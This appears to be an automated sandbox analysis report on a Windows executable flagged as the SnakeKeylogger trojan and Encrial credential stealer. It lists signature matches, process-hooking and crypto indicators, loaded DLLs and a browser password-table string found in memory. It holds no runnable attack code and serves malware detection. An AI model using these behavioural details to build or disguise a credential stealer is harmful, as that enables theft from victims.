Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.221f9ee.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: Process Memory Space: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe PID: 7444, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.raw.unpack, ----.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.raw.unpack, ----.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.222090e.1.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.raw.unpack, ----.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.raw.unpack, ----.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5100000.5.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.raw.unpack, ----.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.raw.unpack, ----.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.5c9b60.0.raw.unpack, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.raw.unpack, ----.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe.2400f20.4.raw.unpack, ----.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.winEXE@1/0@4/4

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Code function: 0_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,KiUserExceptionDispatcher,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,

0_2_004019F0

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

0_2_004019F0

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Command line argument: 08A

0_2_00413780

Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.00000000029AE000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.00000000029A0000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002990000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

ReversingLabs: Detection: 57%

Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe	Section loaded: rasadhlp.dll	Jump to behavior
